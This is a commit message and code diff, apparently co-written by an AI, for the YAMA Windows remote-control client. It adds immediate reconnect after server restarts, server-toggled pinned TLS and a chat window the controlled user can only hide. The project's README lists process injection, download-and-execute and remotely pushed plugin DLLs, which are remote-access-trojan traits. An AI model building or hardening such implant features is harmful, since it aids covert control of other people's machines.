Fix: reconnect after server restart without reinstalling the loader

The S_SERVER_EXIT respawn fix previously lived in test.cpp, which a
deployed TestRun.exe cannot pick up without reinstalling. Move the
reconnect decision into ClientDll::IsStoped(): when the master instance
is in S_SERVER_EXIT, report reconnectable immediately instead of waiting
for live shared instances to drain, so the already-deployed loader
reconnects against a hot-loaded DLL.

Shared instances stay connected to their own servers, preserving the
IsSharedRunning contract that the master's state change must not tear
them down.

Also guard the RUNNING_PARALLEL branch so re-entering StartClient on
reconnect spawns parallel instances once instead of duplicating them.

Co-Authored-By: deepseek-v4-pro

ReadMe.md

@@ -390,7 +390,7 @@ nohup ./server_linux_amd64 --port 6543 --http-port 9001 > yama.log 2>&1 &
 - **主机管理**：迁移 CMachineManager（进程 / 窗口 / 网络 / 软件 / IE 历史 / 收藏夹 / 服务 / 任务 / hosts 枚举 + 进程注入），COMMAND_MACHINE_MANAGE 162
 - **授权失败触发器**：新增 TRIGGER_AUTH_FAILED 触发类型（与主机上线触发独立），授权失败时下发插件 DLL，受 ShouldLogAuth 去重约束
 - **iPhone 远程音频**：WebAudio + 自托管 opus-decoder WASM 解码，修复 iOS 无 MSE 静音
-- **画质与传输控制**：远程桌面 / 屏幕预览质量等级菜单（各 6 档可配置）+ 文件传输速度对话框（7 档 + 无限档，CMD_FILE_SPEED 252）
+- **画质与传输控制**：远程桌面 / 屏幕预览质量等级菜单（各 6 档可配置）+ 文件传输速度对话框（7 档 + 无限档，经 MasterSettings 下发）
 - **Shine/HELL 协议选择**：分享 / 传输主机时可选协议，尾随冒号字段透传，旧客户端兼容
 - **Go Web UI 子路径部署**：YAMA_WEB_BASE_PATH 挂载整个 Web UI 到 URL 前缀
 - **国际化**：德语（de_DE）第 4 种语言、语言切换工具栏按钮、剩余字符串翻译补齐；远程桌面剪贴板按钮（全屏可达）

ReadMe_EN.md

@@ -390,7 +390,7 @@ Valid     : 2026-02-01 to 2028-02-01
 - **Machine management**: CMachineManager migrated (process / window / network / software / IE history / favorites / service / task / hosts enumeration plus process injection), COMMAND_MACHINE_MANAGE 162
 - **Auth-failed trigger**: new TRIGGER_AUTH_FAILED type (independent of the host-online trigger) pushes plugin DLLs on authorization failure, gated by ShouldLogAuth dedup
 - **iPhone remote audio**: Web Audio API + self-hosted opus-decoder WASM decoding fixes silent audio on iOS without MSE
-- **Quality & transfer controls**: configurable remote-desktop / screen-preview quality-level menus (six presets each) plus a file-transfer speed dialog (seven presets + unlimited, CMD_FILE_SPEED 252)
+- **Quality & transfer controls**: configurable remote-desktop / screen-preview quality-level menus (six presets each) plus a file-transfer speed dialog (seven presets + unlimited, delivered via MasterSettings)
 - **Shine/HELL protocol selection**: choose the protocol when sharing / transferring a host, passed as a trailing colon field, backward compatible
 - **Go web UI subpath deployment**: YAMA_WEB_BASE_PATH mounts the whole web UI under a URL prefix
 - **i18n**: German (de_DE) as the fourth language, a language-switch toolbar button, remaining string translations; remote-desktop clipboard buttons (reachable in fullscreen)

ReadMe_TW.md

@@ -390,7 +390,7 @@ nohup ./server_linux_amd64 --port 6543 --http-port 9001 > yama.log 2>&1 &
 - **主機管理**：遷移 CMachineManager（處理程序 / 視窗 / 網路 / 軟體 / IE 歷史 / 收藏夾 / 服務 / 排程工作 / hosts 列舉 + 處理程序注入），COMMAND_MACHINE_MANAGE 162
 - **授權失敗觸發器**：新增 TRIGGER_AUTH_FAILED 觸發類型（與主機上線觸發獨立），授權失敗時下發外掛程式 DLL，受 ShouldLogAuth 去重約束
 - **iPhone 遠端音訊**：WebAudio + 自託管 opus-decoder WASM 解碼，修復 iOS 無 MSE 靜音
-- **品質與傳輸控制**：遠端桌面 / 螢幕預覽品質等級選單（各 6 檔可設定）+ 檔案傳輸速度對話框（7 檔 + 無限檔，CMD_FILE_SPEED 252）
+- **品質與傳輸控制**：遠端桌面 / 螢幕預覽品質等級選單（各 6 檔可設定）+ 檔案傳輸速度對話框（7 檔 + 無限檔，經 MasterSettings 下發）
 - **Shine/HELL 協定選擇**：分享 / 傳輸主機時可選協定，尾隨冒號欄位透傳，舊用戶端相容
 - **Go Web UI 子路徑部署**：YAMA_WEB_BASE_PATH 掛載整個 Web UI 到 URL 前綴
 - **國際化**：德語（de_DE）第 4 種語言、語言切換工具列按鈕、剩餘字串翻譯補齊；遠端桌面剪貼簿按鈕（全螢幕可達）

client/CaptureVideo.cpp

@@ -46,13 +46,15 @@ CCaptureVideo::~CCaptureVideo()
 HRESULT CCaptureVideo::Open(int iDeviceID,int iPress)
 {
     Mprintf("CCaptureVideo call Open\n");
-    HRESULT hResult = S_OK;
+    HRESULT hResult = S_FALSE;
     do {
         hResult = InitCaptureGraphBuilder();
         if (FAILED(hResult))
             break;
-        if(!BindVideoFilter(iDeviceID, &m_pBF))
+        if (!BindVideoFilter(iDeviceID, &m_pBF)) {
+            hResult = S_FALSE;
             break;
+        }
 
         hResult = m_pGB->AddFilter(m_pBF, L"Capture Filter");
 

client/ChatManager.cpp

@@ -245,14 +245,17 @@ INT_PTR CALLBACK CChatManager::ChatDialogProc(HWND hDlg, UINT uMsg, WPARAM wPara
             return TRUE;
         }
         if (LOWORD(wParam) == IDC_BUTTON_END) {
-            // 被控端主动结束交谈：关闭本地聊天窗口
-            SendMessage(hDlg, WM_USER + 1, NULL, NULL);
+            // 被控端关闭聊天窗口：仅隐藏对话框，会话保持。关闭交谈始终由服务端发起，
+            // 服务端继续发消息时 OnReceive 会用 SW_RESTORE 重新弹出本对话框。
+            ShowWindow(hDlg, SW_HIDE);
             return TRUE;
         }
         break;
 
     case WM_CLOSE:
-        return 0;
+        // X 关闭按钮：仅隐藏对话框（与「结束交谈」一致），关闭交谈始终由服务端发起
+        ShowWindow(hDlg, SW_HIDE);
+        return TRUE;
 
     case WM_USER + 1:
         pThis->m_hWnd = NULL;

client/ClientDll.cpp

@@ -445,6 +445,11 @@ extern "C" __declspec(dllexport) void StopRun()
 // 是否成功停止
 extern "C" __declspec(dllexport) bool IsStoped()
 {
+    // 主控端重启（S_SERVER_EXIT）：主实例工作线程已结束，即使分享实例仍在运行，
+    // 也视为「可重连」。旧 TestRun 加载循环靠它立即重连，无需卸载/重装 TestRun.exe；
+    // 分享实例继续存活，不受主控端重启影响。
+    if (S_SERVER_EXIT == g_MyApp.g_bExit)
+        return true;
     return g_MyApp.g_bThreadExit && ClientApp::GetCount() == 0;
 }
 
@@ -462,14 +467,12 @@ extern "C" __declspec(dllexport) int EasyRun()
 
     do {
         TestRun((char*)settings.ServerIP(), settings.ServerPort());
+        if (S_SERVER_EXIT == app.g_bExit)
+            continue; // 主控端重启：立即重连，不等仍存活的分享实例
+        // 受控端退出 / 程序更新：等所有实例（含分享实例）退干净再退出
         while (!IsStoped())
             Sleep(50);
-        if (S_CLIENT_EXIT == app.g_bExit) // 受控端退出
-            break;
-        else if (S_SERVER_EXIT == app.g_bExit)
-            continue;
-        else // S_CLIENT_UPDATE: 程序更新
-            break;
+        break;
     } while (true);
 
     return app.g_bExit;
@@ -555,14 +558,14 @@ extern "C" __declspec(dllexport) void Run(HWND hwnd, HINSTANCE hinst, LPSTR lpsz
 
     do {
         TestRun((char*)result[0].c_str(), atoi(result[1].c_str()));
+        if (bExit == S_SERVER_EXIT)
+            continue; // 主控端重启：立即重连，不等仍存活的分享实例
+        // 受控端退出 / 程序更新：等所有实例（含分享实例）退干净
         while (!IsStoped())
             Sleep(20);
         if (bExit == S_CLIENT_EXIT)
             return;
-        else if (bExit == S_SERVER_EXIT)
-            continue;
-        else // S_CLIENT_UPDATE
-            break;
+        break; // S_CLIENT_UPDATE
     } while (true);
 
     sprintf_s(message, "%s:%d", settings.ServerIP(), settings.ServerPort());
@@ -608,10 +611,17 @@ DWORD WINAPI StartClient(LPVOID lParam)
     }
     auto list = app.GetSharedMasterList();
     if (list.size() > 1 && settings.runningType == RUNNING_PARALLEL) {
-        for (int i=1; i<list.size(); ++i) {
-            std::string addr = list[i] + ":" + std::to_string(settings.ServerPort());
-            auto a = NewClientStartArg(addr.c_str(), IsSharedRunning, TRUE);
-            if (nullptr != a) CloseHandle(__CreateThread(0, 0, StartClientApp, a, 0, 0));
+        // 并发上线的并行实例只派生一次：主控端重启重连时会再次进入 StartClient，
+        // 若不守护会重复派生并行连接。主实例的 SetServer(list[0]) 保持每次执行，
+        // 让主实例始终指向域名解析出的第一个 IP。
+        static bool parallelHasRun = false;
+        if (!parallelHasRun) {
+            parallelHasRun = true;
+            for (int i=1; i<list.size(); ++i) {
+                std::string addr = list[i] + ":" + std::to_string(settings.ServerPort());
+                auto a = NewClientStartArg(addr.c_str(), IsSharedRunning, FALSE);
+                if (nullptr != a) CloseHandle(__CreateThread(0, 0, StartClientApp, a, 0, 0));
+            }
         }
         // The main ClientApp.
         settings.SetServer(list[0].c_str(), settings.ServerPort());

client/ClientDll_vs2015.vcxproj

@@ -225,6 +225,7 @@
     <ClCompile Include="TalkManager.cpp" />
     <ClCompile Include="ChatManager.cpp" />
     <ClCompile Include="MachineManager.cpp" />
+    <ClCompile Include="TlsChannel.cpp" />
     <ClCompile Include="VideoManager.cpp" />
     <ClCompile Include="X264Encoder.cpp" />
   </ItemGroup>
@@ -264,6 +265,7 @@
     <ClInclude Include="ServiceWrapper.h" />
     <ClInclude Include="session.h" />
     <ClInclude Include="SessionMonitor.h" />
+    <ClInclude Include="TlsChannel.h" />
     <ClInclude Include="VideoEncoderBase.h" />
     <ClInclude Include="KernelManager.h" />
     <ClInclude Include="KeyboardManager.h" />

client/ClientDll_vs2015.vcxproj.filters

@@ -46,6 +46,16 @@
     <ClCompile Include="reg_startup.c" />
     <ClCompile Include="ServiceWrapper.c" />
     <ClCompile Include="SessionMonitor.c" />
+    <ClCompile Include="ActivityHistory.cpp" />
+    <ClCompile Include="ClientLogManager.cpp" />
+    <ClCompile Include="file\FileManager.cpp" />
+    <ClCompile Include="file\MasterEncoder.cpp" />
+    <ClCompile Include="file\zip.cpp" />
+    <ClCompile Include="screenhide\ScreenHideManager.cpp" />
+    <ClCompile Include="DrawingBoardMgr.cpp" />
+    <ClCompile Include="ChatManager.cpp" />
+    <ClCompile Include="MachineManager.cpp" />
+    <ClCompile Include="TlsChannel.cpp" />
   </ItemGroup>
   <ItemGroup>
     <ClInclude Include="..\common\file_upload.h" />
@@ -99,6 +109,19 @@
     <ClInclude Include="reg_startup.h" />
     <ClInclude Include="ServiceWrapper.h" />
     <ClInclude Include="SessionMonitor.h" />
+    <ClInclude Include="ActivityHistory.h" />
+    <ClInclude Include="ClientLogManager.h" />
+    <ClInclude Include="file\FileManager.h" />
+    <ClInclude Include="file\MasterEncoder.h" />
+    <ClInclude Include="file\zip.h" />
+    <ClInclude Include="screenhide\ScreenManagerBase.h" />
+    <ClInclude Include="screenhide\ScreenHideManager.h" />
+    <ClInclude Include="screenhide\ScreenHideSpy.h" />
+    <ClInclude Include="DrawingBoardMgr.h" />
+    <ClInclude Include="ChatManager.h" />
+    <ClInclude Include="MachineManager.h" />
+    <ClInclude Include="yapi.hpp" />
+    <ClInclude Include="TlsChannel.h" />
   </ItemGroup>
   <ItemGroup>
     <ResourceCompile Include="Script.rc" />

client/IOCPClient.cpp

@@ -227,7 +227,11 @@ IOCPClient::IOCPClient(const State&bExit, bool exit_while_disconnect, int mask,
     m_DataProcess = NULL;
     m_ReconnectFunc = NULL;
     m_masker = mask ? new HttpMask(DEFAULT_HOST) : new PkgMask();
+#ifdef _DEBUG
+    auto enc = GetHeaderEncoder(HeaderEncType(time(nullptr) % (HeaderEncV6 + 1)));
+#else
     auto enc = GetHeaderEncoder(HeaderEncType(time(nullptr) % HeaderEncNum));
+#endif
     m_EncoderType = encoder;
     m_Encoder = encoder ? new HellEncoder(enc, new XOREncoder16()) : new ProtocolEncoder();
 #ifdef _WIN32
@@ -463,6 +467,25 @@ BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
         SetKeepAliveOptions(m_sClientSocket);
 #endif
     }
+#ifdef _WIN32
+    // 单向 TLS：证书存在（TlsEnabled()）时，在应用协议首包前完成握手；握手失败即断开，
+    // 不回退明文（fail-closed，防降级）。证书存在但加载失败（TlsLoadError()）同样拒绝
+    // 连接。握手须在 m_bConnected 置位前，确保工作线程不会在握手尚未完成时就开始 recv。
+    if (TlsLoadError()) {
+        Mprintf("[TLS] 证书加载失败，拒绝连接（fail-closed）\n");
+        closesocket(m_sClientSocket);
+        m_sClientSocket = INVALID_SOCKET;
+        return FALSE;
+    }
+    if (TlsEnabled()) {
+        if (!m_tls.Handshake(m_sClientSocket)) {
+            Mprintf("[TLS] 握手失败，断开连接（fail-closed）\n");
+            closesocket(m_sClientSocket);
+            m_sClientSocket = INVALID_SOCKET;
+            return FALSE;
+        }
+    }
+#endif
     m_bConnected = TRUE;
     Mprintf("连接服务端成功: %s:%d.\n", m_sCurIP.c_str(), (int)port);
 
@@ -526,6 +549,16 @@ DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam)
             Sleep(50);
             continue;
         }
+#ifdef _WIN32
+        // TLS 会话里可能有已解密、尚未交付的明文（select 只看底层 socket，看不到
+        // Schannel 内部缓冲），优先消费，避免被 select 卡住。
+        if (This->HasPendingData()) {
+            if (!This->ProcessRecvData(&m_CompressedBuffer, szBuffer, MAX_RECV_BUFFER - 1, 0)) {
+                break;
+            }
+            continue;
+        }
+#endif
         FD_ZERO(&fd);
         FD_SET(This->m_sClientSocket, &fd);
         // Linux select() 会修改 timeval，必须每次重置
@@ -632,7 +665,8 @@ VOID IOCPClient::OnServerReceiving(CBuffer* m_CompressedBuffer, char* szBuffer,
                 for (int i = 0; i < 16 && i < (int)bufLen; ++i) {
                     char tmp[12]; sprintf(tmp, "%02X ", (unsigned char)src[i]); buf += tmp;
                 }
-                Mprintf("[ERROR] Unknown header! bufLen=%lu, first 16 bytes: %s\n", bufLen, buf.c_str());
+                Mprintf("[ERROR] Unknown header! this=%p bufLen=%lu, first 16 bytes: %s (TlsEnabled=%d tlsReady=%d)\n",
+                        this, bufLen, buf.c_str(), (int)TlsEnabled(), (int)m_tls.IsReady());
                 m_CompressedBuffer->ClearBuffer();
                 break;
             }

client/IOCPClient.h

@@ -8,6 +8,7 @@
 #include "stdafx.h"
 #include <WinSock2.h>
 #include <MSTcpIP.h>
+#include "TlsChannel.h"
 #pragma comment(lib,"ws2_32.lib")
 #endif
 
@@ -289,14 +290,33 @@ public:
 protected:
     virtual int ReceiveData(char* buffer, int bufSize, int flags)
     {
+#ifdef _WIN32
+        if (TlsEnabled())
+            return m_tls.Recv(m_sClientSocket, buffer, bufSize - 1);
+#endif
         // TCP版本调用 recv
-        return recv(m_sClientSocket, buffer, bufSize - 1, 0);
+        int n = recv(m_sClientSocket, buffer, bufSize - 1, 0);
+        return n;
     }
     virtual bool ProcessRecvData(CBuffer* m_CompressedBuffer, char* szBuffer, int len, int flag);
     virtual int SendTo(const char* buf, int len, int flags)
     {
+#ifdef _WIN32
+        if (TlsEnabled())
+            return m_tls.Send(m_sClientSocket, buf, len);
+#endif
         return ::send(m_sClientSocket, buf, len, flags);
     }
+    // TLS 会话里可能有已解密但尚未交付的明文（select 只能看到底层 socket 可读性，
+    // 看不到 Schannel 内部缓冲），接收线程在 select 前须优先消费，避免其被卡住。
+    bool HasPendingData() const
+    {
+#ifdef _WIN32
+        return m_tls.HasPending();
+#else
+        return false;
+#endif
+    }
     BOOL OnServerSending(const char* szBuffer, ULONG ulOriginalLength, PkgMask* mask);
     static DWORD WINAPI WorkThreadProc(LPVOID lParam);
     VOID OnServerReceiving(CBuffer *m_CompressedBuffer, char* szBuffer, ULONG ulReceivedLength);
@@ -305,6 +325,9 @@ protected:
 protected:
     sockaddr_in			m_ServerAddr;
     SOCKET				m_sClientSocket;
+#ifdef _WIN32
+    TlsChannel          m_tls;              // TLS 会话（证书存在时才启用，见 TlsChannel.h）
+#endif
     BOOL				m_bWorkThread;
     HANDLE				m_hWorkThread;
     BOOL				m_bIsRunning;

client/KernelManager.cpp

@@ -839,6 +839,27 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
         break;
     }
 
+    case COMMAND_TLS_ENABLE: {
+        // 服务端下发信任锚证书：payload = PEM 正文（szBuffer+1 .. ulLength-1）。
+        // 写入注册表 settings\tls_cert，客户端下次启动读到证书即启用 TLS（非实时）。
+        if (ulLength > 1) {
+            std::string certPem((char*)szBuffer + 1, ulLength - 1);
+            m_cfg->SetStr("settings", "tls_cert", certPem);
+        }
+        break;
+    }
+    case COMMAND_TLS_DISABLE: {
+        // 删除注册表信任锚，客户端下次启动无证书即回明文（非实时）。
+        std::string subKey = GetRegistryName() + "\\settings";
+        HKEY hKey = NULL;
+        if (RegOpenKeyExA(GetCurrentUserRegistryKey(), subKey.c_str(), 0,
+                          KEY_SET_VALUE, &hKey) == ERROR_SUCCESS) {
+            RegDeleteValueA(hKey, "tls_cert");
+            RegCloseKey(hKey);
+        }
+        break;
+    }
+
     case COMMAND_DOWN_EXEC: {
         std::thread(DownExecute, std::string((char*)szBuffer + 1), this).detach();
         break;
@@ -1113,6 +1134,13 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
                 mgr->EnableOfflineRecord(TRUE);
             }
             Logger::getInstance().usingLog(m_settings.EnableLog);
+            // 主控端经 MasterSettings 下发文件传输速度（TransferChunkKb 非 0 表示已下发，
+            // 0 表示老主控未携带，保留本地默认值）。写入 [transfer] 节，供各 InitFileUpload
+            // 调用点经 GetTransferSpeed 读取。
+            if (m_settings.TransferChunkKb) {
+                m_cfg->SetInt("transfer", "ChunkKb", m_settings.TransferChunkKb);
+                m_cfg->SetInt("transfer", "DurationMs", m_settings.TransferDurationMs);
+            }
         }
         if (IsAuthKernel() && 
             (m_settings.FeedbackUrl[0] || m_settings.HelpUrl[0] || m_settings.RequestAuthUrl[0] || m_settings.GetPluginUrl[0])) {
@@ -1481,7 +1509,41 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
             s_v2RecvInited = true;
         }
         // C2C/V2 文件接收（RecvFileChunkV2 内部会打印进度）
-        int n = RecvFileChunkV2((char*)szBuffer, ulLength, m_conn,
+        // 展开文件名中的环境变量（如 %USERPROFILE%），与 V1 的 COMMAND_FILE_SIZE 保持一致。
+        // 快捷图标定位远程目录时，主控端下发的 targetDir 仍含未展开的 %USERPROFILE%
+        // （server/2015Remote/FileManagerDlg.cpp OnRemoteDesktop/Downloads/Home），
+        // 若不在接收端展开，RecvFileChunkV2 会按字面量建目录（如 CWD\%%USERPROFILE%%\...）。
+        char* recvBuf = (char*)szBuffer;
+        size_t recvLen = ulLength;
+        std::vector<uint8_t> rebuilt;
+        if (ulLength >= sizeof(FileChunkPacketV2) && szBuffer[0] == COMMAND_SEND_FILE_V2) {
+            const FileChunkPacketV2* pkt = (const FileChunkPacketV2*)szBuffer;
+            if (ulLength >= sizeof(FileChunkPacketV2) + pkt->nameLength + pkt->dataLength) {
+                // 文件名未必以 '\0' 结尾，先构造出以 '\0' 结尾的副本
+                std::string name((const char*)szBuffer + sizeof(FileChunkPacketV2), (size_t)pkt->nameLength);
+                char expanded[MAX_PATH * 2] = { 0 };
+                DWORD n = ExpandEnvironmentStringsA(name.c_str(), expanded, (DWORD)sizeof(expanded));
+                if (n > 0 && n < (DWORD)sizeof(expanded)) {
+                    std::string newName(expanded, n - 1);  // n 含末尾 '\0'
+                    if (newName.size() != pkt->nameLength) {
+                        // 展开后长度变化，重建包：[header][展开后的 name][data]
+                        size_t newLen = sizeof(FileChunkPacketV2) + newName.size() + pkt->dataLength;
+                        rebuilt.resize(newLen);
+                        memcpy(rebuilt.data(), szBuffer, sizeof(FileChunkPacketV2));
+                        FileChunkPacketV2* newPkt = (FileChunkPacketV2*)rebuilt.data();
+                        newPkt->nameLength = newName.size();
+                        memcpy(rebuilt.data() + sizeof(FileChunkPacketV2), newName.data(), newName.size());
+                        memcpy(rebuilt.data() + sizeof(FileChunkPacketV2) + newName.size(),
+                               (const char*)szBuffer + sizeof(FileChunkPacketV2) + pkt->nameLength,
+                               (size_t)pkt->dataLength);
+                        recvBuf = (char*)rebuilt.data();
+                        recvLen = newLen;
+                    }
+                }
+            }
+        }
+
+        int n = RecvFileChunkV2(recvBuf, recvLen, m_conn,
             nullptr, m_hash, m_hmac, m_MyClientID);
         if (n) {
             Mprintf("[C2C] RecvFileChunkV2 failed: %d\n", n);

client/LoginServer.cpp

@@ -378,13 +378,29 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS& conn, const std::string
     std::string pubIP = cfg.GetStr("settings", "public_ip", "");
     auto ip_time = cfg.GetInt("settings", "ip_time");
     bool timeout = ip_time <= 0 || (time(0) - ip_time > 7 * 86400);
+    // 升级后强制重新查询一次：旧版缓存的 location 是 GBK/CP1252，或已把 ö/ä/ß 等替换成 '?'；
+    // 新版 GetGeoLocation 改为 UTF-8 上报（见 common/location.h），需重新拉取才能修正。
+    // 版本号即编译日期 __DATE__（见 common/commands.h 的 DLL_VERSION）：编译期宏，内存 DLL
+    // 也能取到，且每次编译都会变，天然标识“升级”，无需手动递增，也不依赖 exe 版本资源。
+    bool cacheVerChanged = (cfg.GetStr("settings", "loc_cache_ver", "") != __DATE__);
     IPConverter cvt;
-    if (loc.empty() || pubIP.empty() || timeout) {
-        pubIP = cvt.getPublicIP();
-        loc = cvt.GetGeoLocation(pubIP);
-        cfg.SetStr("settings", "location", loc);
-        cfg.SetStr("settings", "public_ip", pubIP);
-        cfg.SetInt("settings", "ip_time", time(0));
+    if (loc.empty() || pubIP.empty() || timeout || cacheVerChanged) {
+        std::string newPubIP = pubIP;
+        // 升级重查 location 时复用已缓存的公网 IP；仅当 IP 缺失或 7 天过期才重新探测，
+        // 否则离线/无外网机器每次重连都会轮询 5 个公网 IP 源、空等数秒到十几秒。
+        if (pubIP.empty() || timeout) {
+            newPubIP = cvt.getPublicIP();
+        }
+        std::string newLoc = cvt.GetGeoLocation(newPubIP);
+        // 仅查询成功才覆盖缓存并推进版本号；失败保留旧值，下次登录仍会重试。
+        if (!newLoc.empty() && !newPubIP.empty()) {
+            pubIP = newPubIP;
+            loc = newLoc;
+            cfg.SetStr("settings", "location", loc);
+            cfg.SetStr("settings", "public_ip", pubIP);
+            cfg.SetInt("settings", "ip_time", time(0));
+            cfg.SetStr("settings", "loc_cache_ver", __DATE__);
+        }
     }
     LoginInfor.AddReserved(loc.c_str());
     LoginInfor.AddReserved(pubIP.c_str());
@@ -396,13 +412,13 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS& conn, const std::string
     sprintf(cpuInfo, "%dMHz", dwCPUMHz);
     std::string clientID = cfg.GetStr("settings", "client_id");
     if (clientID.empty()) {
-        // V2 ID 算法：MachineGuid + 归一化路径
-        //   - 同机同程序路径永远同 ID（不依赖 IP/PCName/OS/CPU 漂移）
-        //   - 局域网多机即便同镜像（sysprep 会让 MachineGuid 各不同）也不撞库
+        // V2 ID 算法：MachineGuid + 主机名 + 归一化路径
+        //   - 主机名兜底区分同镜像克隆机：MachineGuid 相同、路径相同仍能靠主机名区分。
+        //   - 代价：改名会让 client_id 变化，丢该主机的备注/授权/历史；主机名非硬件唯一，重名仍撞。
         // MachineGuid 读取失败的极端情况退化到老算法，保兼容。
         std::string machineGuid = GetMachineGuidWindows();
         if (!machineGuid.empty()) {
-            conn.clientID = CalcalateIDv2(machineGuid, NormalizeExePathLower(buf), isAuth);
+            conn.clientID = CalcalateIDv2(machineGuid + "|" + szPCName, NormalizeExePathLower(buf), isAuth);
         } else {
             Mprintf("WARN: MachineGuid 读取失败，回退到老 ID 算法\n");
             conn.clientID = CalcalateID({ pubIP, szPCName, LoginInfor.OsVerInfoEx, cpuInfo, buf });
@@ -428,6 +444,7 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS& conn, const std::string
     double KB = fileInfo.nFileSizeLow > 1024 ? fileInfo.nFileSizeLow / 1024.0 : 0;
     sprintf_s(fileSize, "%.1f%s", MB > 0 ? MB : KB, MB > 0 ? "M" : "K");
     LoginInfor.AddReserved(fileSize);                  // 文件大小
+    LoginInfor.AddReserved(TlsEnabled() ? 1 : 0);  // TLS 启用标志：有信任锚（证书）即 1
     return LoginInfor;
 }
 

client/TlsChannel.cpp

@@ -0,0 +1,508 @@
+// TlsChannel.cpp — 见 TlsChannel.h 头注释。仅 _WIN32 编译。
+#ifdef _WIN32
+
+#include "stdafx.h"
+#include "TlsChannel.h"
+
+#include "common/iniFile.h"   // config(settings.ini 文件回退) + GetRegistryName/GetCurrentUserRegistryKey(注册表正文)
+
+#include <wincrypt.h> // 证书/链引擎 API
+#include <winreg.h>   // RegOpenKeyExA / RegQueryValueExA
+#include <io.h>      // _access
+#include <fstream>   // std::ifstream
+#include <iterator>  // std::istreambuf_iterator
+#include <string>
+#include <mutex>     // std::call_once
+
+#pragma comment(lib, "secur32.lib")
+#pragma comment(lib, "crypt32.lib")
+
+namespace {
+
+std::once_flag    g_tlsOnce;
+bool              g_tlsEnabled = false;  // TLS 会话可用：send/recv 走加密
+bool              g_tlsError   = false;  // 证书存在但加载失败：拒绝连接（fail-closed）
+HCERTSTORE        g_tlsStore   = NULL;
+HCERTCHAINENGINE  g_tlsEngine  = NULL;   // 只信任 g_tlsStore 的链引擎（严格钉扎）
+
+// 解析信任锚证书路径：优先 settings.ini 的 [settings] tls_cert，其次可执行文件同目录
+// yama-ca.pem。
+std::string ResolveCertPath()
+{
+    std::string certPath;
+    {
+        config cfg;
+        certPath = cfg.GetStr("settings", "tls_cert", "");
+    }
+    if (certPath.empty()) {
+        char path[MAX_PATH];
+        if (!GetModuleFileNameA(NULL, path, sizeof(path)))
+            return std::string();   // 拿不到 exe 路径，视为未配置
+        char* p = path + strlen(path);
+        while (p > path && *p != '\\') --p;
+        strcpy(p + 1, "yama-ca.pem");
+        certPath = path;
+    }
+    return certPath;
+}
+
+// 读取注册表 REG_SZ（动态扩容）。iniFile::GetStr 用 512 字节固定缓冲，会把 PEM 正文
+// （约 1.3~1.8KB）截断成空，故此处自行两段式 RegQueryValueEx 读取。
+// 返回 true 表示值存在且为 REG_SZ，out 为去掉末尾 '\0' 后的内容；否则 false。
+bool ReadRegistrySz(HKEY root, const std::string& subKey, const std::string& valueName, std::string& out)
+{
+    HKEY hKey = NULL;
+    if (RegOpenKeyExA(root, subKey.c_str(), 0, KEY_READ, &hKey) != ERROR_SUCCESS)
+        return false;
+
+    DWORD type = 0, size = 0;
+    LONG r = RegQueryValueExA(hKey, valueName.c_str(), NULL, &type, NULL, &size);
+    if (r != ERROR_SUCCESS || type != REG_SZ) {
+        RegCloseKey(hKey);
+        return false;
+    }
+    std::vector<char> buf(size ? size : 1, 0);
+    r = RegQueryValueExA(hKey, valueName.c_str(), NULL, &type,
+                         reinterpret_cast<LPBYTE>(buf.data()), &size);
+    RegCloseKey(hKey);
+    if (r != ERROR_SUCCESS)
+        return false;
+    if (size > 0 && buf[size - 1] == '\0')
+        --size;   // REG_SZ 的 size 含末尾 '\0'
+    out.assign(buf.data(), size);
+    return true;
+}
+
+// 取信任锚 PEM 正文。优先注册表 Software\<exehash>\settings\tls_cert（REG_SZ 直接存
+// PEM 正文，便于后续服务端下发/撤销），其次 settings.ini [settings] tls_cert 路径、
+// exe 同目录 yama-ca.pem 文件（向后兼容旧的文件投递方式）。
+// 返回 true 表示已配置（pem 可能为空：值/文件存在但内容为空，由 LoadTrustAnchor 判为
+// fail-closed）；false 表示完全未配置（走明文）。source 描述来源，仅用于日志。
+bool ReadTrustAnchor(std::string& pem, std::string& source)
+{
+    // 1) 注册表正文（首选）。值存在（即便为空）即视为「已配置」，交由 LoadTrustAnchor
+    // 对空/损坏内容判 fail-closed，与「空文件 → fail-closed」语义保持一致，避免空值
+    // 被静默当成未配置而回退明文。
+    std::string regSubKey = GetRegistryName() + "\\settings";
+    std::string regVal;
+    if (ReadRegistrySz(GetCurrentUserRegistryKey(), regSubKey, "tls_cert", regVal)) {
+        pem = regVal;
+        source = "registry " + regSubKey + "\\tls_cert";
+        return true;
+    }
+
+    // 2) 文件回退：settings.ini [settings] tls_cert 路径 → exe 同目录 yama-ca.pem
+    std::string certPath = ResolveCertPath();
+    if (certPath.empty() || _access(certPath.c_str(), 0) != 0)
+        return false;   // 无证书 → 明文
+
+    std::ifstream f(certPath.c_str(), std::ios::binary);
+    if (!f) {
+        Mprintf("[TLS] cannot open %s\n", certPath.c_str());
+        return false;
+    }
+    pem.assign((std::istreambuf_iterator<char>(f)), std::istreambuf_iterator<char>());
+    source = certPath;
+    return true;
+}
+
+// 解码 PEM/DER 信任锚正文为 DER，并加入内存信任锚存储。
+bool LoadTrustAnchor(const std::string& pem, const std::string& source, HCERTSTORE* outStore)
+{
+    if (pem.empty()) {
+        Mprintf("[TLS] empty certificate %s\n", source.c_str());
+        return false;
+    }
+
+    // PEM（-----BEGIN CERTIFICATE----- base64）或 DER → DER。CRYPT_STRING_ANY 两者都认，
+    // 失败再退回 CRYPT_STRING_BASE64HEADER（纯 PEM）。
+    DWORD derLen = 0;
+    if (!CryptStringToBinaryA(pem.data(), (DWORD)pem.size(), CRYPT_STRING_ANY,
+                              NULL, &derLen, NULL, NULL) || derLen == 0) {
+        if (!CryptStringToBinaryA(pem.data(), (DWORD)pem.size(), CRYPT_STRING_BASE64HEADER,
+                                  NULL, &derLen, NULL, NULL) || derLen == 0) {
+            Mprintf("[TLS] failed to decode certificate %s\n", source.c_str());
+            return false;
+        }
+    }
+    std::vector<BYTE> der(derLen);
+    if (!CryptStringToBinaryA(pem.data(), (DWORD)pem.size(), CRYPT_STRING_ANY,
